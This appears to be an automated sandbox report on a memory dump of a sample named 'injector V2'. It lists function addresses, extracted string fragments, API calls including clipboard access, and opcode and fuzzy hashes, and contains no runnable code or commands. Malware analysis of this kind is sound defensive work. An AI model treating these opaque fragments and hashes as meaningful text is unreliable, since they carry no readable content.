Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5b077bfe4455e23a3c674899ef49d65f04014d2006343274f3f84038a774a7f6
Instruction ID: f853df7a29e590a315f10d920dec143745f9287da6b926524a5840ccd99faa2d
Opcode Fuzzy Hash: 5b077bfe4455e23a3c674899ef49d65f04014d2006343274f3f84038a774a7f6
Instruction Fuzzy Hash: 73D05E745901446BD200AB28AC06F2236688343B25F444235B6A2C61D7E9116914C56A

Function 0040D293 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D2A5

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 94ae0bf42bc59fadde0ff639082cce8abde593e835750ad71f1e7d69a4288824
Instruction ID: 2d7b7a70427f1330292365c5a8f411c4952d63840b4a80755c1cfceed43a82c1
Opcode Fuzzy Hash: 94ae0bf42bc59fadde0ff639082cce8abde593e835750ad71f1e7d69a4288824
Instruction Fuzzy Hash: 02D0C9743D438176F2748B0CAC53F5436546307F12F300224B322FE2D0CAE071058A1D

Non-executed Functions

Function 00425344 Relevance: 16.0, Strings: 12, Instructions: 1043COMMON

Download Yara Rule

Strings

}s, xrefs: 0042553D
\2, xrefs: 00425B19
n9m;, xrefs: 004258C5
u5`7, xrefs: 004258BB
}s, xrefs: 00425455
"B, xrefs: 00425731
W@, xrefs: 00425B12
r1`3, xrefs: 004258B1
" , xrefs: 00425A19
7654, xrefs: 00425D26
2- (, xrefs: 004254FC
SQ, xrefs: 00425B0B

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: " $"B$2- ($7654$SQ$W@$\2$n9m;$r1`3$u5`7$}s$}s
API String ID: 0-327531642
Opcode ID: 4763f4544488dc213c48f2e26bd059baeeca52c6088159a995f66b0bddd8cd24
Instruction ID: 1ec7e797cd9eb8f4d7ad4eff3564fad9b8d8c7c05487f80a661f34697a0983b7
Opcode Fuzzy Hash: 4763f4544488dc213c48f2e26bd059baeeca52c6088159a995f66b0bddd8cd24
Instruction Fuzzy Hash: 8492FDB5A00B16DFDB14CF25D8806AABBB2FF45300F56855DC499AF761DB34A852CF80

Function 00426910 Relevance: 12.9, Strings: 10, Instructions: 416COMMON

Download Yara Rule

Strings

X+\), xrefs: 00426AE5, 00426AFD, 00426BF5, 00426EC0, 00426C14, 00426B07, 00426EC4
c/g-, xrefs: 0042698F
1UVW, xrefs: 00426D18
$W U, xrefs: 0042699F
cS'Q, xrefs: 00426997
, xrefs: 00426E15, 00426E30
bkB, xrefs: 00426B50
=O?M, xrefs: 004269CF
w1u, xrefs: 004269DF
+[&Y, xrefs: 004269A7

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: w1u$$W U$+[&Y$1UVW$=O?M$X+\)$bkB$c/g-$cS'Q$
API String ID: 0-1107640020
Opcode ID: d094553142b8fa0c3f843ef86b2216bf43cee4b104b0197a05f46ab8b87a6c2c
Instruction ID: 07adb09d38e0d3280f8d28688e1147cd8a6c36b3ce6469b78c24922fb3c68d64
Opcode Fuzzy Hash: d094553142b8fa0c3f843ef86b2216bf43cee4b104b0197a05f46ab8b87a6c2c
Instruction Fuzzy Hash: 8BD1E0B8608380DFE7209F25E88176BBBB1FBC2304F51496DF5854B261E7759806CB86

Function 00433550 Relevance: 9.1, APIs: 6, Instructions: 138clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433572
GetWindowLongW.USER32 ref: 0043359D
GetClipboardData.USER32 ref: 004335AD
CloseClipboard.USER32 ref: 004336F4

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: ce365d0da545476f18f4140f590a68767b83894f9fd16f6a09fcb78067349483
Instruction ID: 17803934bde16856924c357768b87d9616dc2f9b743b2c2e0f5da409e4691948
Opcode Fuzzy Hash: ce365d0da545476f18f4140f590a68767b83894f9fd16f6a09fcb78067349483
Instruction Fuzzy Hash: 4451F1B1808781DFD710AF78D54A39EBFA0AB15305F04863EE4858B782E37D9658C797

Function 0041AC64 Relevance: 5.7, Strings: 4, Instructions: 708COMMON

Download Yara Rule

Strings

7654, xrefs: 0041ACA1
7654, xrefs: 0041B251
K7, xrefs: 0041ACC8
`b]}, xrefs: 0041AF00

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$7654$K7$`b]}
API String ID: 2994545307-3105809555
Opcode ID: 9802f542914dd4b860a900ac3f1736758820710e1b073b33d4eb07b853cfbc3e
Instruction ID: 64c6081f0a2204a6899387c6940b517753b686c6832b0442df47da2492da9ce9
Opcode Fuzzy Hash: 9802f542914dd4b860a900ac3f1736758820710e1b073b33d4eb07b853cfbc3e
Instruction Fuzzy Hash: C3223475A093409BD714CF28D890BABB792EF96304F19856ED0C687362D774DC86CB8B

Function 0041DF00 Relevance: 5.6, Strings: 4, Instructions: 623COMMON

Download Yara Rule

Strings

HzH, xrefs: 0041E51A
|}, xrefs: 0041E105
.zH, xrefs: 0041E4DD
4;, xrefs: 0041DFEE

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: .zH$4;$HzH$|}
API String ID: 0-2754067922
Opcode ID: 16c00d66ed237cb7ac5fd89160097f63f69d048809e64baff63aaf6f17e4c28a
Instruction ID: 4c80123772d873f3d2cee772b4d38be2c1a2a5879bcda46720ca7d40980cb5f3
Opcode Fuzzy Hash: 16c00d66ed237cb7ac5fd89160097f63f69d048809e64baff63aaf6f17e4c28a
Instruction Fuzzy Hash: 511286B4D00205CBCB14CF69C8916EFBBB1FF46324F18852DE8956B385E338A946CB95

Function 00427580 Relevance: 5.6, Strings: 4, Instructions: 609COMMON

Download Yara Rule

Strings

gzyi, xrefs: 00427B91
.y7/, xrefs: 00427DFF
cb`d, xrefs: 00427B99
`o, xrefs: 00427D8C

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: .y7/$`o$cb`d$gzyi
API String ID: 0-1486537593
Opcode ID: f4fd3634d7af85613517cb621c8590516dddc43ecd63ca63492b3f332954c7e4
Instruction ID: 73ee5e978b3ae7903bd64636a7987c208e490655bfc664e26e61893c9cb750fe
Opcode Fuzzy Hash: f4fd3634d7af85613517cb621c8590516dddc43ecd63ca63492b3f332954c7e4
Instruction Fuzzy Hash: 141247B5A0C3518BD714CF25E85126BBBE1EFD6304F08896EE4C59B341D738D90ACB9A

Function 004298A8 Relevance: 5.5, Strings: 4, Instructions: 466COMMON

Download Yara Rule

Strings

~I, xrefs: 00429C05
`{, xrefs: 00429BFD
Lz, xrefs: 00429C15
uy, xrefs: 00429C0D

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: Lz$`{$uy$~I
API String ID: 0-1638023654
Opcode ID: 4939bdcd720d2d8cadce823c6c50284a5e7931ace41ba08f26985008098efa05
Instruction ID: 342cf044e97a58d3db7132360508a74081fc9fafca0238ac93fdbfb74b7ec0f7
Opcode Fuzzy Hash: 4939bdcd720d2d8cadce823c6c50284a5e7931ace41ba08f26985008098efa05
Instruction Fuzzy Hash: 02E1FDB16083209BC714CF14D86136BBBE1EFD5714F08891DE8C69B3A1E779C905CB8A

Function 00429F62 Relevance: 5.2, Strings: 4, Instructions: 161COMMON

Download Yara Rule

Strings

qz5@, xrefs: 0042A107
_z5@, xrefs: 00429FA5
qz5@, xrefs: 00429FD7
_z5@, xrefs: 0042A0CD

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: _z5@$_z5@$qz5@$qz5@
API String ID: 0-1441355546
Opcode ID: ac0fb15dc88d696ed3d50c071f0ac3644f2aab8c5deaa3ad17473f714e21756e
Instruction ID: 1cb89060f304c113218be3815143164a3d7a474535087d2138f222ec7f76e972
Opcode Fuzzy Hash: ac0fb15dc88d696ed3d50c071f0ac3644f2aab8c5deaa3ad17473f714e21756e
Instruction Fuzzy Hash: FF41E1715083208BCB149F14E81063BB7F1FFA6345F54991DE8D65B3A4E7398910C78B

Function 0041D201 Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

Z,ST, xrefs: 0041D275
[-I3, xrefs: 0041D27C
S#r^, xrefs: 0041D26E
E"WX, xrefs: 0041D267

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: E"WX$S#r^$Z,ST$[-I3
API String ID: 0-2576035952
Opcode ID: 13f34c4f50a1a07fab51708d4b918bbe42c87a8ccd365ccb80dfaec5ebea47d5
Instruction ID: 5a39df12ac70cea910d9df69709fed57744f71d54cded374284f8fdc3c439ac4
Opcode Fuzzy Hash: 13f34c4f50a1a07fab51708d4b918bbe42c87a8ccd365ccb80dfaec5ebea47d5
Instruction Fuzzy Hash: 3F3124B0514B908BC7658F3982603A3BBE1BF86314F58699DC4E387B92C739F442CB04

Function 00421F10 Relevance: 4.2, Strings: 3, Instructions: 453COMMON

Download Yara Rule

Strings

IE, xrefs: 0042206B
ZM, xrefs: 00422063
HF, xrefs: 00422073

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: HF$IE$ZM
API String ID: 0-58942596
Opcode ID: 7e84ae3a88c0c4df319599b0c6c06f440f3123c486e635d0d3d9c278290470a8
Instruction ID: 4d70116105068fe0a1585b5fee28dcb06b75358869d2f7aee483e1b39d9b0351
Opcode Fuzzy Hash: 7e84ae3a88c0c4df319599b0c6c06f440f3123c486e635d0d3d9c278290470a8
Instruction Fuzzy Hash: 3DC112B06083108BD724CF25D95176BB7F1FFA2350F488A5DE4D28B3A4E7B99904CB96

Function 0042A1A2 Relevance: 4.0, Strings: 3, Instructions: 227COMMON

Download Yara Rule

Strings

F@VI, xrefs: 0042A218
cp, xrefs: 0042A238
Nxnq, xrefs: 0042A228

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: F@VI$Nxnq$cp
API String ID: 0-4002531926
Opcode ID: 24dfb663d71b8e09813bf0f5456dca11cc10d3d639255235cb3a0c78bdf79dfb
Instruction ID: 8a29cccb321ec278c30b7ffc1d55adb7a6b13275fc88ca724196cb343f14b233
Opcode Fuzzy Hash: 24dfb663d71b8e09813bf0f5456dca11cc10d3d639255235cb3a0c78bdf79dfb
Instruction Fuzzy Hash: 758113B59083918FD314CF24D84166FBBE2AF85304F18896EE8D687392E679D845CB87

Function 00404930 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

BK@, xrefs: 00404B31
I@, xrefs: 004049D6
2J@, xrefs: 00404A22

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 2J@$BK@$I@
API String ID: 0-187361804
Opcode ID: f6f0e5eb5162b6aaf46d31c3b152c7532c3223376071486b5f055edd2ef6a495
Instruction ID: f7c6d29b76e65a0d0bf1f6299292556ecd118515f81c415ee8970d329b3b0465
Opcode Fuzzy Hash: f6f0e5eb5162b6aaf46d31c3b152c7532c3223376071486b5f055edd2ef6a495
Instruction Fuzzy Hash: B571AC79609602CFDB08CF24E4A03AA77F1FB8A346F05807DE8858B292D775D985DF85

Function 00427774 Relevance: 3.0, Strings: 2, Instructions: 499COMMON

Download Yara Rule

Strings

gzyi, xrefs: 00427B91
cb`d, xrefs: 00427B99

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: cb`d$gzyi
API String ID: 0-146784027
Opcode ID: bec2e082f871bcbef0e6bbc3144a8f27d38fbbb0c4eb39aaa73caa54c4155fae
Instruction ID: 589721233e1184f7b93af10d955cab5016d861bdc776373f3e67ebdef895139e
Opcode Fuzzy Hash: bec2e082f871bcbef0e6bbc3144a8f27d38fbbb0c4eb39aaa73caa54c4155fae
Instruction Fuzzy Hash: 67F118B560C3518BC714DF25E89126BB7E1EF96304F08887EE4C597342E739D909CB5A

Function 004395E9 Relevance: 2.9, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

KI, xrefs: 004399C7
HG, xrefs: 004399CF

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: KI$HG
API String ID: 0-4172485573
Opcode ID: 555c5214fa72487ea4b92ae4822a369f5b784a6da2c74b3ea09a70866b7c575f
Instruction ID: 6a685d6eb0282b07ecb379a0196d98a8d9aa843b7ad2a680190e5a876f5630f6
Opcode Fuzzy Hash: 555c5214fa72487ea4b92ae4822a369f5b784a6da2c74b3ea09a70866b7c575f
Instruction Fuzzy Hash: 8FD1EF7A528222CBCB14AF3CD85126BB7E1FF4A711F0A8C7DC481972A0E7798C50D755

Function 0042C84A Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

z\B , xrefs: 0042CA02
40F3, xrefs: 0042CA0C

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 45f379b2dae90aea72c51e9e702bd7fff7091b14a155fa3f666690b9af15ba42
Instruction ID: 498da2e28091b230820d302b17542d13e6b523f95bed6f1ccb4e6a02f20431bc
Opcode Fuzzy Hash: 45f379b2dae90aea72c51e9e702bd7fff7091b14a155fa3f666690b9af15ba42
Instruction Fuzzy Hash: 52A10671604B818FE329CB39D4A17A7BBD1AF53304F58885EC0EB8B392D7796405CB65

Function 0042C8DC Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

z\B , xrefs: 0042CA02
40F3, xrefs: 0042CA0C

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 894d52e7406151b6594a9adfcf0dd35d61f7e320749617ee7a9955ca99d959aa
Instruction ID: 034a7008790bf69728bdf75bd2974393d91308eb0864f51b0121dd2d4574678b
Opcode Fuzzy Hash: 894d52e7406151b6594a9adfcf0dd35d61f7e320749617ee7a9955ca99d959aa
Instruction Fuzzy Hash: E5A10570604B818FE329CB39D4A17A7BBD2AF53304F58845EC0EB8B392D7796006CB65

Function 0042C929 Relevance: 2.8, Strings: 2, Instructions: 305COMMON

Download Yara Rule

Strings

z\B , xrefs: 0042CA02
40F3, xrefs: 0042CA0C

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 29e53cf9b020ad464fdf824bbb6578da22d00ff9ce7fb0d1a3217d04609603cf
Instruction ID: bee1a0546301b459e96431053b5b94568506ebc424ead06ad1a0df34fef16323
Opcode Fuzzy Hash: 29e53cf9b020ad464fdf824bbb6578da22d00ff9ce7fb0d1a3217d04609603cf
Instruction Fuzzy Hash: 92A1F571604B818FE329CB39D4A17A7BBD2AF53304F58845EC0EB8B392D7796406CB65

Function 0042C918 Relevance: 2.8, Strings: 2, Instructions: 280COMMON

Download Yara Rule

Strings

z\B , xrefs: 0042CA02
40F3, xrefs: 0042CA0C

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 92d84887212e068ebb43c38c83c2115f7bf3f104c6853f619a4717065197e9db
Instruction ID: 53d5a600ad2fb64aa9eefa9411e692cf7a0f670bbf2d035d9d804fd55e83da83
Opcode Fuzzy Hash: 92d84887212e068ebb43c38c83c2115f7bf3f104c6853f619a4717065197e9db
Instruction Fuzzy Hash: 2D91D671604B808FE325CB35D4A17B7BBD2AF53304F58845EC0EB8B692D7796406CB65

Function 00426959 Relevance: 2.7, Strings: 2, Instructions: 176COMMON

Download Yara Rule

Strings

yVh], xrefs: 004270EF
Y`Pb, xrefs: 004270AD

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: Y`Pb$yVh]
API String ID: 0-2084830440
Opcode ID: f52b21de84ce6a21add13dfa8e557a0538738c7fbc7296b4cc640362d4c6293c
Instruction ID: f722a9b3a85af15d1d0177742b6600c000020fd4e026f340dbf6347df914f1d4
Opcode Fuzzy Hash: f52b21de84ce6a21add13dfa8e557a0538738c7fbc7296b4cc640362d4c6293c
Instruction Fuzzy Hash: 64517C317483628BD7248E24A9A12B7FB90EF42350F99476EDA91477C2D33DD849D3CA

Function 004231F0 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00443598,00000000,00000001,00443588), ref: 00423219

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 3bab1d380f97032a9f315e65e3d7766baebf32abcf04ab904765ecd122f1eb22
Instruction ID: 71ce44aec7d3b8c1f5f9fb612631e1477a0120926aca0f6bb1b722cf7af0fba3
Opcode Fuzzy Hash: 3bab1d380f97032a9f315e65e3d7766baebf32abcf04ab904765ecd122f1eb22
Instruction Fuzzy Hash: 7951CCB0700320ABDB20DF24DC86B6733B4EF8576AF444559E9858B390E77DEA05C72A

Function 00423450 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

!, xrefs: 00423475

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2553554435
Opcode ID: 2140aaf378637c4364fd0247320baf6ac4bb0000a29956785586fa384e716162
Instruction ID: f49577d193c8abb6453e9474ca47d3b4d1bfe81202629265be6873369bba8e08
Opcode Fuzzy Hash: 2140aaf378637c4364fd0247320baf6ac4bb0000a29956785586fa384e716162
Instruction Fuzzy Hash: 3DC167B6A043209BC724DF24D85162BB3F1EFD5314F59852EE8C697381E77CD9058396

Function 0042BA10 Relevance: 1.6, Strings: 1, Instructions: 395COMMON

Download Yara Rule

Strings

", xrefs: 0042BD38

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 67a9909f13c84bda9c902c05a983fdda779d17265ce718b46d8b7cf5fc1650fc
Instruction ID: b8070625620b0bc9f221c6e9060029e60e68ddcd4ffb9493ab494252952fbdc1
Opcode Fuzzy Hash: 67a9909f13c84bda9c902c05a983fdda779d17265ce718b46d8b7cf5fc1650fc
Instruction Fuzzy Hash: ABD12571B083299FC714CE25E48176BB7E5EF84314F48896EE99987382DB78DC0587C6

Function 0041CED0 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

/AG, xrefs: 0041CFA2

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: /AG
API String ID: 0-429173468
Opcode ID: 5bf9bc4743e92e801110c16e1e1a6798670fd257678139d8f1a4f53805c9afb8
Instruction ID: db9a0b4dfea41108335f0a407c7d33345c3d109be444455fd645843256c24d7d
Opcode Fuzzy Hash: 5bf9bc4743e92e801110c16e1e1a6798670fd257678139d8f1a4f53805c9afb8
Instruction Fuzzy Hash: 2B6136B2610B018BC324CF25C9916A3BBF2FF96314F49995DC4D68BB95E738A806CB44

Function 0042D380 Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

bNLV, xrefs: 0042D534

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: bNLV
API String ID: 0-346797206
Opcode ID: 0013062a79eb5dbc58cabba1237e6767f189077d539472ca9c7babac2483338f
Instruction ID: afda5bf75f1f78cb49c648d636ab67f5a1453f3ecd0fd1dd5d0ff7308ee6564c
Opcode Fuzzy Hash: 0013062a79eb5dbc58cabba1237e6767f189077d539472ca9c7babac2483338f
Instruction Fuzzy Hash: EC5148B1608B814BD319CF38C8603E3BBA2AF93308F5DC5ADC1E24B356D77965468758

Function 0042D318 Relevance: 1.5, Strings: 1, Instructions: 205COMMON

Download Yara Rule

Strings

bNLV, xrefs: 0042D534

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: bNLV
API String ID: 0-346797206
Opcode ID: 0a4a9a8859d789d4f71a42b94f912eacdcaf339e6f1ceb799e64ce8c398cced0
Instruction ID: 27a159d7ac2624ea253f79df2db77bdd57b40a2df15003da0a9ee6f62b1e2e80
Opcode Fuzzy Hash: 0a4a9a8859d789d4f71a42b94f912eacdcaf339e6f1ceb799e64ce8c398cced0
Instruction Fuzzy Hash: DD515A70604B908AD326CF39D4903E3BBE2AF97308F58C5AEC1E60B356D6BD6546871C

Function 0042D0F6 Relevance: 1.5, Strings: 1, Instructions: 204COMMON

Download Yara Rule

Strings

.L6d, xrefs: 0042D154

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: .L6d
API String ID: 0-3689564033
Opcode ID: 52a1620b55584a0b3069d913d873da39473c9a49c859e39cccb799168cc7aa56
Instruction ID: b3b80b292b9c2592f918aecac32d9bf9aff12df46ab72a7f5f46870c8d66b613
Opcode Fuzzy Hash: 52a1620b55584a0b3069d913d873da39473c9a49c859e39cccb799168cc7aa56
Instruction Fuzzy Hash: 1C51F6B4A047508FE3258B39D4907B3BBE0EF67300F24489ED4E787392D278A5458B69

Function 0040DA43 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

SW, xrefs: 0040DA43

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID: SW
API String ID: 0-625006655
Opcode ID: 869c7119e643443874cd61e064ba24bf401558557341c27c2f31387fee03dab2
Instruction ID: 5d9f2363fabf42677fb571d2220c82bc289fbd14246ff3687941838be9d0c232
Opcode Fuzzy Hash: 869c7119e643443874cd61e064ba24bf401558557341c27c2f31387fee03dab2
Instruction Fuzzy Hash: 4051267194C3938AD334DF39D861BABBAE1AFC6304F08893DD8D997692E7780504D786

Function 00439290 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

, xrefs: 00439345, 0043939E, 00439360, 004393A2

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3019521637
Opcode ID: 46ae62597b49b084656ba533626074b253d2be57493eef55916a1d20d10db3d5
Instruction ID: 5f1565635af4d5f91d3e1fbc5b9aff3f95ec9d96fa10469e2fbb41994dbd59c0
Opcode Fuzzy Hash: 46ae62597b49b084656ba533626074b253d2be57493eef55916a1d20d10db3d5
Instruction Fuzzy Hash: 543137B1A043006BE610AA15DC41B7BB3A8EF9E718F04653EFD86972D3E3B5DC15825A

Function 0040EA4F Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

7654, xrefs: 0040EA75

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654
API String ID: 2994545307-4024152101
Opcode ID: bed417bb34f37d25c7c923fb16c4ecbb63d8fcad9ac46b1c89647715ee02ff4a
Instruction ID: 07b2bc39b660a2127a801fcb1b0e8c0ba885f34615d13a0a3f58d585ff3512a4
Opcode Fuzzy Hash: bed417bb34f37d25c7c923fb16c4ecbb63d8fcad9ac46b1c89647715ee02ff4a
Instruction Fuzzy Hash: 573125346182409BD328CB25C491B7BB761AF91314F54893ED08B232E2CB399C52CF5B

Function 0042ADAB Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

, xrefs: 0042ADD5, 0042AEF5, 0042AF10, 0042ADF4

Memory Dump Source

Source File: 00000004.00000002.2295101101.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_injector V2.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-3019521637
Opcode ID: e3e5cbc5dd9bbf2317c34db2ffb6bb1115f1eabd1792bfa7cb93aa03cdf65a33
Instruction ID: 59d445325523166152dc146d909279a4f6499651f5095f3f0f56464fc1f6b4d1
Opcode Fuzzy Hash: e3e5cbc5dd9bbf2317c34db2ffb6bb1115f1eabd1792bfa7cb93aa03cdf65a33
Instruction Fuzzy Hash: 5821E5747486218BC7188F14A48193FB356FFA2314FA5511ED84247662D378DC639BCF

